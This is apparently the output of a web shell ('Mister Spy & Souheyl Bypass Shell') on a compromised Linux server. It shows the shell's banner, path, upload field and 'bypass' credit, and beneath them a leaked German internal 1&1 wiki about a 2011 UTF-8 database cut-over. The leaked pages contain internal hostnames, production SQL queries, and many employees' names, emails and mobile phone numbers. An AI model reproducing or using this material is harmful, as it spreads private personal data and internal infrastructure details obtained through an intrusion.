Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/10_customer2017/1202__1and1/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/10_customer2017/1202__1and1/ii89


Wiki WebHomeHome > Techwiki > UE >  Software-Infrastruktur > SwisTodoUtf8 >
SwisUtf8CutOverPlan

SwisUtf8CutOverPlan

    * Einleitung
    * Zeitplan
    * TODOS
          o Aufräumarbeiten (Alle)
          o Yusufs JBosse + Andwendungen klären (Matze & Christian)
          o bsadressboss Zuständigkeit klären (Christian)
          o swisorderboss Zuständigkeit klären (Christian)
          o Verlinkung Zusammenstellung Aufgabenblöcke (Christian)
          o Tabellen-Create Skripte (Matze & Christian) 
    * Erklärungen
          o DB Refresh / DB Tallen anlegen
                + Standort der Skripte 
          o Cut Over QA
                + Switch UTF-8 -> ISO QA
                + Switch ISO -> UTF-8 QA
                + ShutDown Plan QA
                + StartUp Plan QA 
          o Cut Over Prod
                + Switch UTF-8 -> ISO PROD
                + Switch ISO -> UTF-8 PROD
                + ShutDown Plan PROD
                + StartUp Plan PROD 
          o Testfälle:
                + ACC-17-200 und folgende:
                + HOST-CO-01 und folgende: 

Einleitung

Der Cut Over wird bei während einer vollständigen Downtime der Systeme
durchgeführt. D.h. die alle Server werden runtergefahren, der Switch findet
statt, danach werden alle Server wieder angefahren.
Die Maßnahmen der einzelnen Abteilungen sind in Blöcke aufgeteilt. Die
Aufgaben innerhalb der Blöcke können parallelisiert abgearbeitet werden. Die
Zusammenstellung der Aufgabenblöcke wird erst nächste Woche (KW 11) fertig
gestellt und sollte dann noch hier verlinkt werden (Zusammenstellung
Aufgabenblöcke).

Zeitplan

15.4 Ende EE Tests

16.4 - 17.4 Server herunterfahren

18.4 DB Refresh

26.4 - 27.4 Wiederherstellen der QA

    * 3.1 Datenbanken anlegen
    * 3.2 Server starten
    * 3.3 Perl Skripte starten (Christian) 

2.5 Cut Over QA UTF-8 -> ISO (keine Uhrzeit gegeben)

    * Server Shutdown
    * SWITCH
    * Server Startup)
    * Tests (nicht von uns) 

9.5 10 Uhr Cut Over QA ISO -> UTF-8 (Generalprobe)

    * Vor 10 Uhr: Server Shutdown
    * SWITCH
    * Nach 10 Uhr: Server Startup)
    * Tests (nicht von uns) 

14.5 ab 00.05 Uhr (Nacht von Montag auf Dienstag) Cut Over Prod; Leitung
durch 'Masterplan' von Mario Maleitzke

    * Server Shutdown
    * SWITCH
    * Server Startup)
    * Überprüfen der Systeme 

TODOS

Aufräumarbeiten (Alle)
In der nächsten Woche (7.3 - 11.3) sollten Applikationen, die nicht mehr
gebraucht werden, undeployed werden (z. B. DB Facades), um ein schnelleres
Hochfahren zu gewährleisten. (Alle)

Yusufs JBosse + Andwendungen klären (Matze & Christian)

    * Klärung, wie die Applikationen funktionieren bzw. was tun, wenn sie
    * nicht funktionieren (Matze)
    * Zugriff auf die Systeme (QA [ist ein Testsystemcluster] und
    * Produktiv): wer darf drauf?; Wie funktioniert der Shutdown bzw.
    * Neustart? Wie heißen die Systeme (?)
    * Klärung, was mit den Applikationen passiert, die "zurück" übergeben
    * werden und nicht bei uns bleiben (Christian)
    * Klärung, was nach einem DB Refresh gemacht werden muss (Tabellen
    * Anpassungen etc.) (Matze) 

bsadressboss Zuständigkeit klären (Christian)
Wer hat die Verantwortung für den bsadressboss + QA System? (Christian)

swisorderboss Zuständigkeit klären (Christian)
Wer hat die Verantwortung für den swisborderboss + QA System? (Christian)

Verlinkung Zusammenstellung Aufgabenblöcke (Christian)
Die Zusammenstellung der Aufgabenblöcke in der Einleitung verlinken.
(Christian)

Tabellen-Create Skripte (Matze & Christian)

    * Tabellen-Create Skripte zusammensuchen, um die QA Stage nach dem
    * Refresh wieder all Tabellen schnell anlegen zu können (Matze)
    * Zugriffe auf die betreffenden Datenbanken klären, dass jeder vom Cut
    * Over Team die Tabellenskripte wieder einspielen kann (Christian) 

Erklärungen

DB Refresh / DB Tallen anlegen
Beim DB Refresh wird ein Abzug vom Produktiv System gemacht, d.h, dass
Tabellen wie z.B. Monsched Tabellen, verloren gehen. Diese müssen in der QA
Stage wieder angelegt werden. Die Tabellen-Create Skripte sollten an einem
zentralen Ort zusammengetragen werden. Die Einspielung erfolgt, so lange der
Cluster down ist.

Standort der Skripte

    * ac1swisbossa0[1-4]
          o auf jedem Knoten unter
 ~/projects/jboss-server/${slot}/server/dorun/deploy-tmp 
    * ac1swisboss0[1-4], eigentlich nur noch monsched:
          o
 https://svn.schlund.de/svn/SWIS/j2ee/tools/monsched/info/createTablesInMysql.ac1swisboss 

Cut Over QA
Switch UTF-8 -> ISO QA

    * Server herunterfahren
    * Nach Umstellung Server wieder starten 

Switch ISO -> UTF-8 QA

    * Server herunterfahren
    * Nach Umstellung Server wieder starten 

ShutDown? Plan QA

    * ac1swisbossaSlot2 (pusteboss)
    * ac1swisbossaSlot1 (4.2.3) (ac1swisbossa0[1/2])
    * ac1soabossSlot2 (4.2.3) (ac1soaboss0[1/2])
    * ac1swisbossSlot1 (Yusuf QA???)
    * ac1swisbossSlot2 (4.0.2) (ac1swisboss0[1/2])
    * Perlskripte stoppen 

StartUp? Plan QA

    * Perlskripte starten
    * ac1swisbossSlot2 (4.0.2) (ac1swisboss0[1/2])
    * ac1swisbossSlot1 (Yusuf QA???)
    * ac1soabossSlot2 (4.2.3) (ac1soaboss0[1/2])
    * ac1swisbossaSlot1 (4.2.3) (ac1swisbossa0[1/2])
    * ac1swisbossaSlot2 (pusteboss) 

Cut Over Prod

Switch UTF-8 -> ISO PROD

    * Server herunterfahren
    * Nach Umstellung Server wieder starten 

Switch ISO -> UTF-8 PROD
Falls der Fallback nötig wird, gleiches Vorgehen wie bei Switch UTF-8 -> ISO
PROD

ShutDown? Plan PROD

    * swisbosscSlot1(4.2.3) (swisbossc0[1/2/3/4])
    * swisbossaSlot1 (4.2.3) (swisbossa0[1/2/3/4])
    * swisorderboss (???)
    * soabossSlot2 (4.2.3) (soaboss0[1/2/3])
    * swisbossbSlot1 (4.2.2) (swisbossb0[1/2/3/4])
    * swisbossbSlot2 (4.0.2) (swisbossb0[1/2/3/4])
    * swisbossaSlot2 (4.0.2) (swisbossa0[1/2/3/4])
    * jbossSlot2 (4.0.2) (jboss[1/2/3])
    * Perl Skripte stoppen 

StartUp? Plan PROD

    * Perl Skripte starten
    * jbossSlot2 (4.0.2) (jboss[1/2/3])
    * swisbossaSlot2 (4.0.2) (swisbossa0[1/2/3/4])
    * swisbossbSlot2 (4.0.2) (swisbossb0[1/2/3/4])
    * swisbossbSlot1 (4.2.2) (swisbossb0[1/2/3/4])
    * soabossSlot2 (4.2.3) (soaboss0[1/2/3])
    * swisorderboss (???)
    * swisbossaSlot1 (4.2.3) (swisbossa0[1/2/3/4])
    * swisbosscSlot1(4.2.3) (swisbossc0[1/2/3/4]) 

Testfälle:


Testfälle:

HIER GEHTS UM DIE QA-SCHLUPA!!!

ACC-17-200 und folgende:

wenn die Checkpoints ausgewertet sind: an Bernd Sprenger (ACCESS)

Man könnte sich auch noch bug 182666, 182668 und 182672 anschauen, da wurde
das schonmal gemacht.

E-Mail von Frank-Ralph Reiser:

select max(dslorder_id)-100 from xtc..dslorder

select d.dslorder_id, c.cart, d.orderdate, d.firstname, d.lastname,
d.street, d.city, d.tarif_id, d.ext_kdnr, d.techauftrag_id,
b.dslorder_id, b.shop_id
from xtc..dslorder_cart c, xtc..dslorder d
left join xtc..blorderentry b on b.dslorder_id = d.dslorder_id
where d.dslorder_id = c.dslorder_id
and d.lastname like '%KUNDEN_NACHNAME%'
and d.dslorder_id > DSLORDER_ID
and app_id = APP_ID

Für die einzelnen Testfälle sind folgende Werte für APP_ID einzusetzen:

ACC-XX-200 Neukundenbestellung DSL (app_id = 1)
ACC-XX-201 Neukundenbestellung Mobile (app_id = 27)
ACC-XX-202 Neukundenbestellung Mobile über Telesales (app_id = 27)
ACC-XX-203 Neukundenbestellung DSL über Telesales (app_id = 1)
ACC-XX-204 Neukundenbestellung DSL über Vermittlerfrontend (app_id = 1)
ACC-XX-206 Bestandskundenshop DSL Bestellung (app_id = 1)
ACC-XX-207 Bestandskundenshop DSL Umzugsauftrag (app_id = 30)
ACC-XX-208 Bestandskundenshop DSL Tarifwechsel (app_id = 3)
ACC-XX-209 Bestandskundenshop Mobile-Bestellung (app_id = 27)
ACC-XX-213 Upsellingtool DSL Bestellung (app_id = 1)
ACC-XX-214 Upsellingtool DSL Umzugsauftrag (app_id = 30)
ACC-XX-215 Upsellingtool DSL Tarifwechsel (app_id = 3)
ACC-XX-217 Upsellingtool Mobile Bestellung (app_id = 27)

HOST-CO-01 und folgende:

Bugs kommem von Thomas Grittner (HOST), nach Ausführung an Tobias Friedrich

   1. DIY: select max(hostorder_cart_id)-100 from HEROIN..hostorder_cart;
 (Stand 2011-05-04: 298731)
   2. DIY: diese ID nutzen und danach: select hostorder_cart_id, kamt_lfdnr,
 techauftrag_id, h.tarif_id, ta.beschreibung from HEROIN..hostorder_meta h,
 MIGRAENE..tarif ta where hostorder_cart_id > 298631 and h. tarif_id=ta.
 tarif_id; 

   1. Classic: select lfdnr, convert(unichar(5),vorname) as vorname,
 convert(unichar(10),nachname) as nachname , techauftrag_id, s.tarif_id,
 ta.beschreibung from schnitt..ka_mt s, MIGRAENE..tarif ta where
 aktion=60110 and bz_id=10000 and  email='yuni.qahosting@1und1.de' and
 s.tarif_id=ta.tarif_id; 

    * scripts.qa.zip: Start/Stop/Restart und Status-Skripte für alle
    * ac1*bosse 

toggleopenShow attachments (1)togglecloseHide attachments (1)
Topic attachments I 	Attachment 	Action 	Size 	Date 	Who
Comment
zipzip 	scripts.qa.zip 	manage 	1.6 K 	03 May 2011 - 17:42 	MatthiasCoy
Start/Stop/Restart und Status-Skripte für alle ac1*bosse

toggleopenShow page info



HIER GEHTS UM DIE QA-SCHLUPA!!!

ACC-17-200 und folgende:

wenn die Checkpoints ausgewertet sind: an Bernd Sprenger (ACCESS)

Man könnte sich auch noch bug 182666, 182668 und 182672 anschauen, da wurde
das schonmal gemacht.



----------------------------------------------------------------------------------------------------------



Wiki WebHomeHome > Techwiki > PO >  ProjectTEC1305 > CutOverQA

CutOverQA

Einleitung

Auf dieser Seite werden Informationen zur laufenden Phase des CutOverQA
gegeben:
Sie wird dynmisch bei Statuswechsel neu generiert! Also ab und zu REFRESCH
klicken!

Aktuelle Phase: ISO-Fallback in der QA-Stage
Startdatum: 02.05.2011
Startzeit: 10:00

* Cu-Ablauf:
cu.jpg

*Statusanzeige zum aktuellem Stand *
Legende:
GRAU: nicht gestartet, GRÜN: erledigt, GELB: in Arbeit, ROT: Problem in
Klärung

Bereich 	7 	8 	9 	10 	11 	12 	13
QA-Test 	14 	15
T&A 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
BS 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
Access 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
Portal 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
OCIS 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
Hosting 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green
IT-OPS 	led-green 	led-green 	led-green 	led-green
led-green 	led-green 	led-green 	led-green 	led-green
led-green

Lenkungsausschuß

Name, Vorname 	Mail 	Tel 	Handy
Kettler, Henning 	henning.kettler@1und1.de 	+49 721 91374-4140
+49 172 8507691
Mirgel, Martin 	martin.mirgel@1und1.de 	+49 2602 96-1440 	 
Lautenbacher, Jens 	jens.lautenbacher@1und1.de 	+49 721 91374-4570
+49 160 93944844
Feuerhelm, Dirk 	dirk.feuerhelm@1und1.de 	+49 721 91374-4564
+49 170 7991882

Ansprechpartner und Vertreterregelung Programmleitung (mail an alle:
utf8@1und1.de)

Name, Vorname 	Mail 	Tel 	Handy
Hertkorn, Stephan 	stephan.hertkorn@1und1.de | sh@it42.eu 	+49 721
91374 6618 	+49 171 3460034
Maleitzke, Mario 	mario.maleitzke@1und1.de |
mario.maleitzke@objektwerk.de 	+49 721 91374 4489 	+49 173 3511403
Bojunga, Niels 	niels.bojunga@1und1.de | niels.bojunga@web.de 	+49 721
91374 8010 	+49 179 7092290
Lomosik, Axel 	axel.lomosik@1und1.de 	+49 721 91374 3850 	+49 172
7209601

Ansprechpartner (A) und Vertreterregelung (V) in den Bereichen

Bereich 	AP/V 	Name, Vorname 	Mail 	Tel 	Handy
T&A 	A 	Posselt, Dietmar 	dietmar.posselt@1und1.de 	+49
721 91374 4518 	+49 170 9600864
T&A 	V 	Gabriel, Christian 	christian.gabriel@1und1.de 	+49
721 91374 6791 	+49 172 4121651
BS 	A 	Kirch, Jörn-Eric 	joern-eric.kirch@1und1.de 	+49
2602 96 1939 	+49 177 2892815
BS 	V 	Brause, Jörg 	joerg.brause@1und1.de 	+49 2602 96 1772
?
Access 	A 	Freymeyer, Oliver 	oliver.freymeyer@1und1.de 	+49
721 91374 8155 	+49 1520 9830737 (nur während Cutover aktiv)
Access 	V 	Maleitzke, Mario 	mario.maleitzke@1und1.de 	+49
721 91374 4489 	+49 173 3511403
Portal 	A 	Nitschke, Tobias 	tobias.nitschke@1und1.de 	+49
89 14339-114 	+49 173 5702657
Portal 	V 	Schroeder, Gregor 	gregor.schroeder@1und1.de 	+49
89 14339-109 	 
eBI 	A 	Hohl, Sebastian 	sebastian.hohl@1und1.de 	+49
2602 96 1851 	+49 170 5621-532
eBI 	V 	Keller, Michael 	michael.keller@1und1.de 	+49
2602 96 1937 	 
OCIS 	A 	Wolber, Constantin 	constantin.wolber@1und1.de 	+49
2602 96-1968 	+49 151 15787797
OCIS 	V 	Hinterwäller, Bodo 	bodo.hinterwaeller@1und1.de 	+49
2602 96-1548 	+49 171 9589615
Maxdome 	A 	Jürgen Borrmann 	Juergen.Borrmann@maxdome.de
+49 89 9507 8359 	+49 151 42635037
Maxdome 	V 	Thomas Daunke 	thomas.daunke@1und1.de 	+49 721
91374 4176 	+49 152 28696792
Hosting 	A 	Jansen, Philippe 	philippe.jansen@1und1.de
+49 721 91374-8322 	+49 175 2295328 (nur während Cutover aktiv)
Hosting 	V 	Maier, Anja 	anja.maier@1und1.de 	+49 721
91374 4332 	+49 178 3888560
IT-OPS 	A 	Lomosik, Axel 	axel.lomosik@1und1.de 	+49 721 91374 3850
+49 172 7209601
IT-OPS 	V 	Langknecht, Rainer 	rainer.langknecht@1und1.de 	+49
721 91374 8098 	+49 170 9157092
  	  	  	  	  	 

Detaillierte Liste der Ansprechpartner in den einzelnen Bereichen

Bereich 	AP-Liste 	QA-AP
T&A 	  	Christian Gabriel
BS 	  	Olaf Plath
Access 	  	Bernd Sprenger
Portal 	Ansprechpartner 	 
eBI 	  	Olaf Plath
OCIS 	  	Thorsten Landahl
Maxdome 	  	Bernd Sprenger
Hosting 	  	Yuni Widiastuti
IT-OPS 	  	Jörg Mann

Kommunikationsmatrix / RACI Matrix
Die RACI-Matrix zeigt auf, wer bei einer bestimmten Aufgabe welche
Verantwortlichkeit hat. Die Art der Zuständigkeit wird mit folgenden Werten
angegeben:
R wie Responsible: Diese Person oder Rolle ist dafür verantwortlich, dass
die Aufgabe durchgeführt wird. Sie ordnet entweder die Ausführung an oder
führt sie selbst aus.
A wie Accountable: Diese Person oder Rolle ist der Auftraggeber, sie
definiert die Qualitätskriterien, nimmt das Ergebnis ab
C wie Consulted: Diese Person oder Rolle muss in die Entscheidungen mit
einbezogen werden.
I wie Informed: Diese Person oder Rolle muss über alle Ereignisse und
Entscheidungen informiert werden.

Bereich

Aufgabe 	BereichsV 	Programmltg 	Lenkungsausschuß 	nn
Einleiten nächster Step 	I 	R 	I 	 
Status der Arbarbeitung 	R 	I 	I 	 
Entscheidung ob Rollback 	I 	R 	C 	 

Kommunikationsmittel
am 14.05. und 15.05.2011 sind folgende Videokonferenzräume ganztägig
geschaltet - Montag, den 16.05 von 07:00 -11:00:

Ort 	Samstag 14.05 	Sonntag 15.05 	Montag 16.05
MUC FFR 115a 	EG, Raum 0110 	EG, Raum 0110 	EG, Raum 0110
MTB-Elgendorfer 	1.OG 	1.OG 	EG
MTB-ICE IV 	4.OG 	4.OG 	4.OG
KA Brauerstr 	1309 	1309 	1309
KA EFS 9 	0102 	0102 	 
KA EFS 10 	  	  	1.OG /1201

Für die Ablaufsteuerung der CutOverQA Tätigkeiten benutzen wir bevorzugt ein
Chattool Miranda. Wir benutzen den Chatroom: UTF8
Bei Problemen, ausführlichen Hinweisen wechseln wir zu mail, Telefon, Handy
oder Videokonferenz.

*Hinweise zur Konfiguration des ChatTools?*

unter Windows:
http://wiki.intranet.1and1.com/pub/ITService/Software/Miranda_Konfiguration_1und1_Chat.pdf
unter Linux:
http://wiki.intranet.1and1.com/bin/view/UE/NeueSwisMitarbeiter#Jabber

Unter
http://sourceforge.net/projects/portableapps/files/Miranda%20IM%20Portable/Miranda%20IM%20Portable%200.9.11/MirandaPortable_0.9.11_English.paf.exe/download
finden Windows-Nutzer einen portablen Chat-Client

Hintergrundinfos:
Im Rahmen von TEC.1305 sollen die Abläufe für den anstehend CutOver in der
Produktion verprobt werden.
Die hier ausgewiesenen Abläufe beziiehen sich auf folgende Dokumente:
CutOver Handbuch .... xxxx xxx (link auf Dokument)
CutOver Detailprojektplan .... xxxx xxx (link auf Dokument)

    * Cu-Ablauf:
      cu.jpg 

<verbatim>
Insert non-formatted text here
</verbatim>

toggleopenShow attachments (1)togglecloseHide attachments (1)
Topic attachments I 	Attachment 	Action 	Size 	Date 	Who
Comment
jpgjpg 	cu.jpg 	manage 	19.6 K 	27 Apr 2011 - 09:42 	StephanHertkorn
Cu-Ablauf

toggleopenShow page infotogglecloseHide page info

Wikisystem.GlobalWebForm
PageType	Checklist
RevisionDate	08 Nov 2011 - 00:05
Language	DE

------------------------------------------------------------------------------------------------------



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net